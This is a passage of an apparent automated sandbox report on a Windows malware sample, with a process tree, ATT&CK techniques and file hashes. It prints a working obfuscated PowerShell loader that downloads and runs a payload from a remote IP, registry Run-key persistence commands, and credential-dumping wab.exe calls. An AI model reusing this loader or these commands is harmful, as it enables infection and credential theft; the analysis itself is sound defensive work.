      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1180
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Vibeka" /t REG_EXPAND_SZ /d "%Pneumatorrhachis% -w 1 $Salpeterholdiges=(Get-ItemProperty -Path 'HKCU:\Quicker\').Savvy;%Pneumatorrhachis% ($Salpeterholdiges)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1140
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Vibeka" /t REG_EXPAND_SZ /d "%Pneumatorrhachis% -w 1 $Salpeterholdiges=(Get-ItemProperty -Path 'HKCU:\Quicker\').Savvy;%Pneumatorrhachis% ($Salpeterholdiges)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4332
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\whgkucneuiqfygxwpgdrdx"
        5⤵
        
        PID:4300
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\whgkucneuiqfygxwpgdrdx"
        5⤵
        
        PID:2764
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\whgkucneuiqfygxwpgdrdx"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zjmdvvxfiqisamligrptobelm"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:64
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jervvnizeyaxkaimpccmroyuuklbu"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3484
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sydstligstes.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3548
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Raakolde = 1;$Fornrmet='S';$Fornrmet+='ubstrin';$Fornrmet+='g';Function Circumflexes($Cumulet){$Semimonarchically=$Cumulet.Length-$Raakolde;For($Habitually=4; $Habitually -lt $Semimonarchically; $Habitually+=(5)){$Wenzel+=$Cumulet.$Fornrmet.Invoke($Habitually, $Raakolde);}$Wenzel;}function Jettes($trendy){&($Indbagendes) ($trendy);}$Simultansceners=Circumflexes 'Ark,MMervoAn.czVampiT lel ElelBlreaSy.o/Jagt5 ve.Seac0T,sp Ryg.( KrmW.urdiRiitn s rdPi do.orhwAllosHjem G,oN PraT.oli ,eg1Inte0Remb.Spra0Anal;Duct Ret.WVagtiAtomnskyt6Aced4 Non;Falc F.glx.art6Pseu4.icr;Rovf MilrGramvNert:Nara1H,lg2Rive1Unde.Sopr0Pres)Vrd. P.slG,ndeeCubacSkinkTilloOffp/Slib2Pl r0Ned,1Appe0Onyc0Ven,1 enn0Trfi1 Bre V deFMickiKonsr traeA.trf dr oQrscxSamm/Moor1Hard2 ,or1Werf.,yde0.uto ';$Optrins45=Circumflexes 'tidsUI.prsP,yceSkabrover-StemAUkeng,ondeLivinE,tetHera ';$Levemulighed=Circumflexes 'B,slhG,ldt MentInflpKo,m:Conf/Ke,d/,ndf8Ago.7 bal.Pige1Cann2.ejl1 Fer.,rol1Diet0Nona5 Ske..ata1 Bl,6Ex.e3Kast/SrmrD Kile Ne.tSkreeIndmn rot MyxiBe aoKonknConse BoynDesi.s,rtj.attaDissv toda Non ';$Cose=Circumflexes 'Skor>Undi ';$Indbagendes=Circumflexes 'Dm,niMilieSelsx Bar ';$Nutritionary133='Paakldtes';Jettes (Circumflexes 'Ch dSSonaeAutotAlda-UnmyC.rocoValgn,annt Ende.enin S.dtO er Can- NobP ixta Fo.tBindhMe.k VrdiTSorg:Baga\Pt.rFbureoPot,rOutshTot,j S.iuretrlillesFletbTikmr GabeSmaamRadesAmoreT ivs.lbn.MargtAircx iltSaut Pote-La dVKinea Boll SafuEncaeDiap ,npr$CausN IlluDiglt Tndr,nbriKon,tBra,iUn.koDegenSpydaTricr egnyKrim1K.ip3Erem3L.eb; Bri ');Jettes (Circumflexes 'Tr.ni.inkfHoo. Skil(Indit AroeUndesuafmtEpit-DrukpFareaSkibtDuplhAfid silTRuck:None\Sla,F Sgeo Bu,rTec.hobsejAp.puQuanlBloks ostbs,mmrP osePal.mSocisCudbe Pics A,m.Te rtBre,xDigit ,fl),era{Giske andxRe aiNacrtCham}Pg.e;Ergo ');$Ballplayers248 = Circumflexes ' nkeSpikc Udmhsiego lgu Eksp%S,paaBagepTaktpOtopdElemaimpetarchaTran%She,\ParaATrignKolltHo,eiangulSkrmltr.ke Anpa JounChr,1Umed4 C.s4Sur...lumGVilkrBel.oJe n Ef e&sa,m&D.ge UpfieBil cUnnah KreoN,np Ci.i$ Kri ';Jettes (Circumflexes 'Real$,eclgFalsl.nifoAxi,bWolfaAfselCoin:SgesFScrso vrmrBrbaaBronn kkek Tabr,obbiGre nResig Kr,s oltpOveruCafenOverksol t KureBagnt Bits .ps=Abd.(dab,cSju.mEl md ,in Ferr/Calcc Ch, F rs$BedrBPi radra,lSna lurfjpMarklDialaIrr.yIndve R,trSeiss Puz2Duct4Ba.h8Phot)Dri ');Jettes (Circumflexes 'Ha.l$SlvsgEftel nfoSt,ibM.inaTabplTick: SpeA MoklEctovSubte UneoRegilSndaiErodtDispemdresTol =Lnn,$MyndLRaskeSkilv W.veForbmStrauf rflGauki.azigYemehPreee TradDole.RegesEft.p Ci.lIndaiVar.tVa,e(Sume$EnheCFormo.dves Pree G.n)Spil ');$Levemulighed=$Alveolites[0];Jettes (Circumflexes 'Anbr$.addgU.trl ,taoim ebTa.ba.alclB,nk:BestS.orkk GibeM,aspJotatS yti ,uncCoa,=partNDagbe KecwUrok-,lafOwainb ejljSkrseUns.curo.t.onc B anSSvalyVands igmtM.sceJug mSoap.FascNPhyleFre,t iga..oncWHetee Cikb istCDeralkin iSporeMetanMapptF er ');Jettes (Circumflexes ' Hic$DefiSGoo k.orteTranpNulvtgummi,nfrcO,dy. skrHUn ieAa aa PerdSp,reBillrJordsB.am[Frug$FormOSuttpFidutLnsird nkiGiggnBlansfeer4I da5Over]Korv=Reig$di,kS StuiUhelmInseuKnsklLeattu,spadur.nQuadsEmulc CykeSlavn H pe Regr fkosUdry ');$Isoln=Circumflexes ' .meS,ondkSka eSemipUndetSpgeiP,nccAver.Mer.DAnomoP stw.deanthrolov roFarta N,ddSt dFAssui Krel Bd,eUntr(Ove,$OmsoLScarePerevDyreeflyvmJi buStorl Kkki PergWarnh ikleFuldd .dr,Gfor$.aktHEpisvPriniHarerSexuv PholBll e Pros ya)un.h ';$Isoln=$Forankringspunktets[1]+$Isoln;$Hvirvles=$Forankringspunktets[0];Jettes (Circumflexes ' Sh $Eft gPounlFromoUfatb iea S,ilUnc,:CasuPFlanuStjdnVaskc B.otRighuU.tis Sor=hu,t(SculTCorreOutks Th,tReal-SyttP avaRingt Tr hThru Modt$GlauH.elfvForkiTensrr.prvMowelLaise Pe.s eat) Tyn ');while (!$Punctus) {Jettes (Circumflexes 'Unpr$B.blgPolylPorto Ba.bKampaAzidlPaal:MonomUdslaharorCanacBdeaeBr.nsSupecSubreSretn ThocTor.eDat,=Macr$.xtrtOverrBobbuNonseHnge ') ;Jettes $Isoln;Jettes (Circumflexes ' MinSKu.ttPensaOverr ynetMatr-PromSMin lThimeCosteSkndpSkva npa4,esp ');Jettes (Circumflexes 'Ufor$ SilgKat.lLiquochokbBrnda Trol kur:SnowPPostuAndenAnlgcAf.utSk.duAffesOver=Bram( afgT DrieRemisOwentFelt- UdfPBlomaD,fftRe,vhNd.i Frad$ ollH Tipv ProiHyd rUp.av ForlBefoeProjsHjes)Sewm ') ;Jettes (Circumflexes 'Coin$ OrngWaftlB.reo veb Scoa AttlQuis:.axiVDekroAggrl Spol s.ae ParyJingbResuaAlcolDamplVo,dsBlr,=Skub$ProtgRufflserooR.cibLe ea MenlAr,o: O.eMEmmeaTommgForriUdbrkK.sse,kkor.trinAksge aars.jem+Inst+ T l%Prom$BecrAVarsl UdtvShoreHvo,oLeavlTrieiCrybtAcceeTveds Jvn.LeptcMetaoRegou eren,amnt .is ') ;$Levemulighed=$Alveolites[$Volleyballs];}Jettes (Circumflexes 'Anon$ LiggAsenlUnchoOph.bPalaa utilSubm:TndeHCyatoConcvNonoeDelidApoksBruntStemrHermuCou,kringtr thuRingrUheleSrstrBiocnSla.e,refsTil, D.st=Matr Di,GAmate galtBesk-DissCNon.oCournPartt FoueUf.dnM,wstCamb Vi.r$VatiHkapevHydri LetrStatvA,allSpaaeCocos Hae ');Jettes (Circumflexes 'Tenn$ JusgPorzl HolochacbUnp aB,vrl Uar:chawAPostbOpgrjModeuScordForgi.yrec andaOvert,tereHern Diss= sta Ciga[flagSHoveyAfghsJesut Sube ConmTool. VrdCSingoForfn Myov,rlleOthir s.itUnva]Astr:Kont:BeviFsamorCarroPlanmliftBanh aTil,sC.rreDown6arbe4UnfrSA.altFestr Veji Civn,tilg,onr(Fors$KnskH PeroPrebv.oule StadForusWrestPerirs.etuser k TaltEkstuDecarPumpeHyper Ne.n H,le Mims Uds)Br.c ');Jettes (Circumflexes ',eta$O elgEr,vl BenoskrmbmesoaMalllAlon:bifiLS.tivA.glhAstry ObetModetud.meSk,lr KlonEmboeSupe Ungd=Stil prie[ChurS isey kovsInittEl ve HucmGram. In,TBazoeKonsxRu,gtSk,a. VogE,ekanhempc ,oso MatdStn,iDrifnSa mgAdmi] Pej: La : MasAInskSStriC Ud,I ComIInda.UnreGVarieTeatt .ilSSmeltPaver U.fiMyrenManggAgna(Dekl$GuidA.omabOrdrjFreiu .tad,onhiUnfacIndka KabtRelaeGoom) U,l ');Jettes (Circumflexes 'Semi$Par,gNongl SupoB,rebBe raGrsrlF.ld:Res,SMultk Foli fugkU,sak GeneBol,lAcets frueconjnSm.tsR bb=luge$NotaL ,gev,aglh UngyMam.tFarvtPayoeSatirSisynKom,e ,ke.Ka,as.onbuDeutb KoesBorutSeksrEli iTelenMyopgtra,(Ser,3Faul1O.om4Efte7 lot8Unwa4 Fr.,Forb2 .lo6 Mid3Ba o0.arv2Mis )Coup ');Jettes $Skikkelsens;"
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5032
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Antillean144.Gro && echo $"
        7⤵
        
        PID:1812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Raakolde = 1;$Fornrmet='S';$Fornrmet+='ubstrin';$Fornrmet+='g';Function Circumflexes($Cumulet){$Semimonarchically=$Cumulet.Length-$Raakolde;For($Habitually=4; $Habitually -lt $Semimonarchically; $Habitually+=(5)){$Wenzel+=$Cumulet.$Fornrmet.Invoke($Habitually, $Raakolde);}$Wenzel;}function Jettes($trendy){&($Indbagendes) ($trendy);}$Simultansceners=Circumflexes 'Ark,MMervoAn.czVampiT lel ElelBlreaSy.o/Jagt5 ve.Seac0T,sp Ryg.( KrmW.urdiRiitn s rdPi do.orhwAllosHjem G,oN PraT.oli ,eg1Inte0Remb.Spra0Anal;Duct Ret.WVagtiAtomnskyt6Aced4 Non;Falc F.glx.art6Pseu4.icr;Rovf MilrGramvNert:Nara1H,lg2Rive1Unde.Sopr0Pres)Vrd. P.slG,ndeeCubacSkinkTilloOffp/Slib2Pl r0Ned,1Appe0Onyc0Ven,1 enn0Trfi1 Bre V deFMickiKonsr traeA.trf dr oQrscxSamm/Moor1Hard2 ,or1Werf.,yde0.uto ';$Optrins45=Circumflexes 'tidsUI.prsP,yceSkabrover-StemAUkeng,ondeLivinE,tetHera ';$Levemulighed=Circumflexes 'B,slhG,ldt MentInflpKo,m:Conf/Ke,d/,ndf8Ago.7 bal.Pige1Cann2.ejl1 Fer.,rol1Diet0Nona5 Ske..ata1 Bl,6Ex.e3Kast/SrmrD Kile Ne.tSkreeIndmn rot MyxiBe aoKonknConse BoynDesi.s,rtj.attaDissv toda Non ';$Cose=Circumflexes 'Skor>Undi ';$Indbagendes=Circumflexes 'Dm,niMilieSelsx Bar ';$Nutritionary133='Paakldtes';Jettes (Circumflexes 'Ch dSSonaeAutotAlda-UnmyC.rocoValgn,annt Ende.enin S.dtO er Can- NobP ixta Fo.tBindhMe.k VrdiTSorg:Baga\Pt.rFbureoPot,rOutshTot,j S.iuretrlillesFletbTikmr GabeSmaamRadesAmoreT ivs.lbn.MargtAircx iltSaut Pote-La dVKinea Boll SafuEncaeDiap ,npr$CausN IlluDiglt Tndr,nbriKon,tBra,iUn.koDegenSpydaTricr egnyKrim1K.ip3Erem3L.eb; Bri ');Jettes (Circumflexes 'Tr.ni.inkfHoo. Skil(Indit AroeUndesuafmtEpit-DrukpFareaSkibtDuplhAfid silTRuck:None\Sla,F Sgeo Bu,rTec.hobsejAp.puQuanlBloks ostbs,mmrP osePal.mSocisCudbe Pics A,m.Te rtBre,xDigit ,fl),era{Giske andxRe aiNacrtCham}Pg.e;Ergo ');$Ballplayers248 = Circumflexes ' nkeSpikc Udmhsiego lgu Eksp%S,paaBagepTaktpOtopdElemaimpetarchaTran%She,\ParaATrignKolltHo,eiangulSkrmltr.ke Anpa JounChr,1Umed4 C.s4Sur...lumGVilkrBel.oJe n Ef e&sa,m&D.ge UpfieBil cUnnah KreoN,np Ci.i$ Kri ';Jettes (Circumflexes 'Real$,eclgFalsl.nifoAxi,bWolfaAfselCoin:SgesFScrso vrmrBrbaaBronn kkek Tabr,obbiGre nResig Kr,s oltpOveruCafenOverksol t KureBagnt Bits .ps=Abd.(dab,cSju.mEl md ,in Ferr/Calcc Ch, F rs$BedrBPi radra,lSna lurfjpMarklDialaIrr.yIndve R,trSeiss Puz2Duct4Ba.h8Phot)Dri ');Jettes (Circumflexes 'Ha.l$SlvsgEftel nfoSt,ibM.inaTabplTick: SpeA MoklEctovSubte UneoRegilSndaiErodtDispemdresTol =Lnn,$MyndLRaskeSkilv W.veForbmStrauf rflGauki.azigYemehPreee TradDole.RegesEft.p Ci.lIndaiVar.tVa,e(Sume$EnheCFormo.dves Pree G.n)Spil ');$Levemulighed=$Alveolites[0];Jettes (Circumflexes 'Anbr$.addgU.trl ,taoim ebTa.ba.alclB,nk:BestS.orkk GibeM,aspJotatS yti ,uncCoa,=partNDagbe KecwUrok-,lafOwainb ejljSkrseUns.curo.t.onc B anSSvalyVands igmtM.sceJug mSoap.FascNPhyleFre,t iga..oncWHetee Cikb istCDeralkin iSporeMetanMapptF er ');Jettes (Circumflexes ' Hic$DefiSGoo k.orteTranpNulvtgummi,nfrcO,dy. skrHUn ieAa aa PerdSp,reBillrJordsB.am[Frug$FormOSuttpFidutLnsird nkiGiggnBlansfeer4I da5Over]Korv=Reig$di,kS StuiUhelmInseuKnsklLeattu,spadur.nQuadsEmulc CykeSlavn H pe Regr fkosUdry ');$Isoln=Circumflexes ' .meS,ondkSka eSemipUndetSpgeiP,nccAver.Mer.DAnomoP stw.deanthrolov roFarta N,ddSt dFAssui Krel Bd,eUntr(Ove,$OmsoLScarePerevDyreeflyvmJi buStorl Kkki PergWarnh ikleFuldd .dr,Gfor$.aktHEpisvPriniHarerSexuv PholBll e Pros ya)un.h ';$Isoln=$Forankringspunktets[1]+$Isoln;$Hvirvles=$Forankringspunktets[0];Jettes (Circumflexes ' Sh $Eft gPounlFromoUfatb iea S,ilUnc,:CasuPFlanuStjdnVaskc B.otRighuU.tis Sor=hu,t(SculTCorreOutks Th,tReal-SyttP avaRingt Tr hThru Modt$GlauH.elfvForkiTensrr.prvMowelLaise Pe.s eat) Tyn ');while (!$Punctus) {Jettes (Circumflexes 'Unpr$B.blgPolylPorto Ba.bKampaAzidlPaal:MonomUdslaharorCanacBdeaeBr.nsSupecSubreSretn ThocTor.eDat,=Macr$.xtrtOverrBobbuNonseHnge ') ;Jettes $Isoln;Jettes (Circumflexes ' MinSKu.ttPensaOverr ynetMatr-PromSMin lThimeCosteSkndpSkva npa4,esp ');Jettes (Circumflexes 'Ufor$ SilgKat.lLiquochokbBrnda Trol kur:SnowPPostuAndenAnlgcAf.utSk.duAffesOver=Bram( afgT DrieRemisOwentFelt- UdfPBlomaD,fftRe,vhNd.i Frad$ ollH Tipv ProiHyd rUp.av ForlBefoeProjsHjes)Sewm ') ;Jettes (Circumflexes 'Coin$ OrngWaftlB.reo veb Scoa AttlQuis:.axiVDekroAggrl Spol s.ae ParyJingbResuaAlcolDamplVo,dsBlr,=Skub$ProtgRufflserooR.cibLe ea MenlAr,o: O.eMEmmeaTommgForriUdbrkK.sse,kkor.trinAksge aars.jem+Inst+ T l%Prom$BecrAVarsl UdtvShoreHvo,oLeavlTrieiCrybtAcceeTveds Jvn.LeptcMetaoRegou eren,amnt .is ') ;$Levemulighed=$Alveolites[$Volleyballs];}Jettes (Circumflexes 'Anon$ LiggAsenlUnchoOph.bPalaa utilSubm:TndeHCyatoConcvNonoeDelidApoksBruntStemrHermuCou,kringtr thuRingrUheleSrstrBiocnSla.e,refsTil, D.st=Matr Di,GAmate galtBesk-DissCNon.oCournPartt FoueUf.dnM,wstCamb Vi.r$VatiHkapevHydri LetrStatvA,allSpaaeCocos Hae ');Jettes (Circumflexes 'Tenn$ JusgPorzl HolochacbUnp aB,vrl Uar:chawAPostbOpgrjModeuScordForgi.yrec andaOvert,tereHern Diss= sta Ciga[flagSHoveyAfghsJesut Sube ConmTool. VrdCSingoForfn Myov,rlleOthir s.itUnva]Astr:Kont:BeviFsamorCarroPlanmliftBanh aTil,sC.rreDown6arbe4UnfrSA.altFestr Veji Civn,tilg,onr(Fors$KnskH PeroPrebv.oule StadForusWrestPerirs.etuser k TaltEkstuDecarPumpeHyper Ne.n H,le Mims Uds)Br.c ');Jettes (Circumflexes ',eta$O elgEr,vl BenoskrmbmesoaMalllAlon:bifiLS.tivA.glhAstry ObetModetud.meSk,lr KlonEmboeSupe Ungd=Stil prie[ChurS isey kovsInittEl ve HucmGram. In,TBazoeKonsxRu,gtSk,a. VogE,ekanhempc ,oso MatdStn,iDrifnSa mgAdmi] Pej: La : MasAInskSStriC Ud,I ComIInda.UnreGVarieTeatt .ilSSmeltPaver U.fiMyrenManggAgna(Dekl$GuidA.omabOrdrjFreiu .tad,onhiUnfacIndka KabtRelaeGoom) U,l ');Jettes (Circumflexes 'Semi$Par,gNongl SupoB,rebBe raGrsrlF.ld:Res,SMultk Foli fugkU,sak GeneBol,lAcets frueconjnSm.tsR bb=luge$NotaL ,gev,aglh UngyMam.tFarvtPayoeSatirSisynKom,e ,ke.Ka,as.onbuDeutb KoesBorutSeksrEli iTelenMyopgtra,(Ser,3Faul1O.om4Efte7 lot8Unwa4 Fr.,Forb2 .lo6 Mid3Ba o0.arv2Mis )Coup ');Jettes $Skikkelsens;"
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3616
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Antillean144.Gro && echo $"
        8⤵
        
        PID:5064
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        
        PID:4292
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1868
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "bynkefugls" /t REG_EXPAND_SZ /d "%Deciduate% -w 1 $Xdiv=(Get-ItemProperty -Path 'HKCU:\Clouters\').Slapperne;%Deciduate% ($Xdiv)"
        9⤵
        
        PID:1840
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "bynkefugls" /t REG_EXPAND_SZ /d "%Deciduate% -w 1 $Xdiv=(Get-ItemProperty -Path 'HKCU:\Clouters\').Slapperne;%Deciduate% ($Xdiv)"
        10⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4056 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:4592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ecca9c939e21c21de0125143c2b2c0fbf830984e2e0ce866498316eb18a046da
MD5 3225fbc938bbe5975c90423ad93ad467
SHA1 e86ffea0c7dff2ef607b6823d733ea3aaad0fdfb
SHA512 5c1032f57015c6e6f95cf493e292d209dce7f276863a92c04c6a19182ca0ee3d274bf7891fefbaa8c078977d1e5173729731b0524bd6be0d3f7a696bde3bb8d5
MD5 SHA1 SHA512

Submit Download

Sydstligstes.vbs

Path C:\Users\Admin\AppData\Local\Temp\Sydstligstes.vbs
Size 8KB
SHA256 0b904e322e186d4d593c0057ce972f1b4317dd59855f65bca513b63aa01ec14f
MD5 0f7343f135e619692979bcb2818ee1b9
SHA1 9d1d760475fdfdc5c69e97a67884442fe0b53245
SHA512 e3f1cc9db3a19896761a75973fdc2d8be71c70247f37c213b35290d4f1d992f087dbd54bc4677bbeb29041745819086b72e1db799196c4f4859bfe3cd4902578
SSDEEP 192:mqP55HoHhiNKQepDyqvxsZWVjFS0FGl0QKK:mG/oHgEtDyqvxQmA0FGWQKK
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_mlfh50eo.gt5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mlfh50eo.gt5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

whgkucneuiqfygxwpgdrdx

Path C:\Users\Admin\AppData\Local\Temp\whgkucneuiqfygxwpgdrdx
Size 4KB
SHA256 7176ca3d0196ec46f178107fdb587adaef3f6ea65daa80eccd2371a515880e04
MD5 10fa8ec140c204486092fb161e567ec7
SHA1 4d63e1f8df3afefedb19df73d7ee5f3b1e7b6473
SHA512 9db4eeb3f07d8d0579f75f3426c91156809152d8c1a37c9a27bf159888f6dd97f1212ac80f5bbb17e4d86f3087c512ccba2ca50a2db07d071370bd36364e1f76
SSDEEP 48:wvvv05xfvvc5xfdvv05xBvv05xakvv057:mvAxvYp1vAPvAbvA7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Antillean144.Gro

Path C:\Users\Admin\AppData\Roaming\Antillean144.Gro
Size 444KB
SHA256 f07fd6c5282995b1ea8403eea90eba41749ef50eb6ae50dc3238df7c0780bee4
MD5 82c97a7d5e458bd3d08271224a2b6ecf
SHA1 aa6715666d0df4ea855b905619d9ebbcf3aa06e8
SHA512 c2bb089a7a132e5a81c70869a2be0fcc164e236d908f42f9dd9fd453632333ce33945d44089e910283f2b04a2b14fb6d8729d45129e9ea3936bf28ae4bc065b8
SSDEEP 6144:fzFkw87Vb0haEK76Lx6YmPyBNMj8L3sXnsi+vVSWegdiJxgRL2qcQlRd2eN8VNK6:rFAScSyXnX4VZPo62qcQfIrKEf
MD5 SHA1 SHA512 SSDEEP

Submit Download

Presignal23.Hal

Path C:\Users\Admin\AppData\Roaming\Presignal23.Hal
Size 454KB
SHA256 4e05aaae11ab146ccfc4c25ede0524f31dc7cea5df170b563208eb0402e8e0bc
MD5 c5a7a07491d572f6db1512405c42fec6
SHA1 9aebc59138dc1135bf89215d507a5ab10adde6d2
SHA512 8e242e9ccfb5c75845a569b26ba3de11f2e74a56f61f4ebabfb4322fe7e7ab0f7c6a11ff26da9b9f3afd4ce11fc7cd83bf527d1e79428d4f5b09c85119428761
SSDEEP 12288:4YSOPSqx7DEgZRwC8inhPOeWvZeAbccV+:U8pZaC7nhGHwfE+
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/64-63-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/64-60-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/64-54-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1060-62-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1060-59-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1060-53-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/1180-79-0x00000000204E0000-0x00000000204F9000-memory.dmp

Download

memory/1180-80-0x00000000204E0000-0x00000000204F9000-memory.dmp

Download

memory/1180-76-0x00000000204E0000-0x00000000204F9000-memory.dmp

Download

memory/1180-47-0x0000000001E60000-0x0000000004353000-memory.dmp

Download

memory/1868-114-0x0000000000E20000-0x0000000003EDC000-memory.dmp

Download

memory/3248-40-0x000001147DC80000-0x000001147DC90000-memory.dmp

Download

memory/3248-39-0x00007FFCE8BB0000-0x00007FFCE9671000-memory.dmp

Download

memory/3248-41-0x000001147DC80000-0x000001147DC90000-memory.dmp

Download

memory/3248-0-0x000001147DC50000-0x000001147DC72000-memory.dmp

Download

memory/3248-10-0x00007FFCE8BB0000-0x00007FFCE9671000-memory.dmp

Download

memory/3248-50-0x00007FFCE8BB0000-0x00007FFCE9671000-memory.dmp

Download

memory/3248-12-0x000001147DC80000-0x000001147DC90000-memory.dmp

Download

memory/3248-11-0x000001147DC80000-0x000001147DC90000-memory.dmp

Download

memory/3248-13-0x000001147DC80000-0x000001147DC90000-memory.dmp

Download

memory/3484-57-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3484-58-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3484-61-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3616-111-0x0000000008C70000-0x000000000BD2C000-memory.dmp

Download

memory/4872-26-0x00000000059C0000-0x0000000005D14000-memory.dmp

Download

memory/4872-17-0x0000000005320000-0x0000000005948000-memory.dmp

Download

memory/4872-37-0x0000000008450000-0x00000000089F4000-memory.dmp

Download

memory/4872-32-0x0000000006020000-0x000000000606C000-memory.dmp

Download

memory/4872-20-0x00000000052A0000-0x0000000005306000-memory.dmp

Download

memory/4872-19-0x0000000005950000-0x00000000059B6000-memory.dmp

Download

memory/4872-18-0x0000000004FF0000-0x0000000005012000-memory.dmp

Download

memory/4872-31-0x0000000006000000-0x000000000601E000-memory.dmp

Download

memory/4872-16-0x00000000026B0000-0x00000000026E6000-memory.dmp

Download

